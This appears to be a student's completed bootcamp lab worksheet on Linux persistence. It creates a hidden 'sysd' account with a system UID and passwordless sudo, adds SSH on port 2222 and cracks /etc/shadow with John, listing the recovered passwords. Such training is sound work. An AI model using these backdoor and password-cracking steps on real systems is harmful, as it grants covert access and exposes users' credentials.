

Module 6 Challenge Submission File

Advanced Bash: Owning the System

Make a copy of this document to work in, and then for each step, add the solution commands below the prompt. Save and submit this completed file as your Challenge deliverable.

Step 1: Shadow People

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created.

```
sudo adduser --no-create-home sysd
```

2. Give your secret user a password.

sudo passwd sysd (however, when we created sysd we were prompted to add a password then)

3. Give your secret user a system UID < 1000.

```
usermod -u 166 sysd
```

4. Give your secret user the same GID.

```
groupmod -g 166 sysd
```

5. Give your secret user full sudo access without the need for a password.

As root run sudo visudo on sudoers and add: sysd ALL=(ALL) NOPASSWD:ALL underneath root

6. Test that sudo access works without your password.

```
su sysd
sudo -l
sudo nano <file>
sudo less sudoers
```

Step 2: Smooth Sailing

1. Edit the sshd_config file.

```
Switch back to root:sudo su
then: sudo nano /etc/ssh/sshd_config
Add "Port 2222" under "Port 22" in the config file.
Exit and save
```

Step 3: Testing Your Configuration Update

1. Restart the SSH service.

```
sudo /etc/init.d/ssh restart
```

2. Exit the root account.

```
su sysd
Then run:exit
```

3. SSH to the target machine using your sysd account and port 2222.

```
ssh sysd@192.168.6.105 -p 2222
```

4. Use sudo to switch to the root user. sudo su

Step 4: Crack All the Passwords

1. SSH back to the system using your sysd account and port 2222.

```
ssh sysd@192.168.6.105 -p 2222
```

2. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file.

```
sudo su

sudo john /etc/shadow

Cracked passwords:

computer (stallman)
freedom (babbage)
trustno1 (mitnick)
dragon (lovelace)
lakers (turing)
passw0rd (sysadmin)
Goodluck! (student)
```